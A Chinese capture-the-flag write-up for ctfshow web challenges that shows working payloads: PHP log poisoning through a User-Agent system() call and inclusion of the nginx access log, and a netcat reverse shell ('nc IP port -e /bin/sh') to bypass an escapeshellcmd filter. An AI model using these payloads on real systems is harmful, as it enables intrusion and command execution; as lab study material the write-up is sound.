ctfshow web七夕杯

web签到

执行命令没有回显,我们直接写文件就可以了

有字符长度限制

复制代码
ls />a
nl /*>a

访问url/api/a下载文件

easy_calc

php 复制代码
<?php


if(check($code)){

    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }

    return false;
}

正则EXP

php 复制代码
<?php

$pattern = "/!|@|#|\\$|%|\\^|&|\\(|_|=|{|}|'|<|>|\\?|\\?|\\||`|~|\\[/";

// 所有可能的字符,包括特殊字符、大小写字母和数字
$all_chars = array_merge(
    range('!', '/'),   // 特殊字符
    range(':', '@'),   // 特殊字符
    range('[', '`'),   // 特殊字符
    range('{', '~'),   // 特殊字符
    range('0', '9'),   // 数字
    range('A', 'Z'),   // 大写字母
    range('a', 'z')    // 小写字母
);

$unmatched_chars = [];

foreach ($all_chars as $char) {
    if (!preg_match($pattern, $char)) {
        $unmatched_chars[] = $char;
    }
}

if (empty($unmatched_chars)) {
    echo "所有字符都被匹配了。\n";
} else {
    echo "未匹配到的字符有:\n";
    foreach ($unmatched_chars as $char) {
        echo $char . " ";
    }
    echo "\n";
}

?>

第一个正则

复制代码
" ) * + , - . / : ; \ ] } 这些字符还都可以使用
大小写字母和数字也都可以使用

第二个正则

复制代码
! " # $ % & ' ( ) , . : ; < = > ? @ [ \ ] ^ _ ` { | } ~ 
大小写字母和数字

POST:
num1=1;include "/var/log/nginx/access.log";&symbol=-&num2=1

UA:
<?=system('ls /');?>
<?=system('cat /secret')?>

包含日志文件

easy_cmd

php 复制代码
<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>
复制代码
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

进行转义之后就会进行shell命令但是不能使用带参数的命令

那么我们就反弹shell

复制代码
POST:
cmd=nc IP port -e /bin/sh

然后监听端口进行rce即可

easy_sql

欠着

相关推荐
JaguarJack19 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo19 小时前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack2 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理2 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行2 天前
网络安全总结
安全·web安全
QQ5110082852 天前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
WeiXin_DZbishe2 天前
基于django在线音乐数据采集的设计与实现-计算机毕设 附源码 22647
javascript·spring boot·mysql·django·node.js·php·html5
一名优秀的码农3 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
努力的lpp3 天前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入
努力的lpp3 天前
SQL 报错注入
数据库·sql·web安全·网络安全·sql注入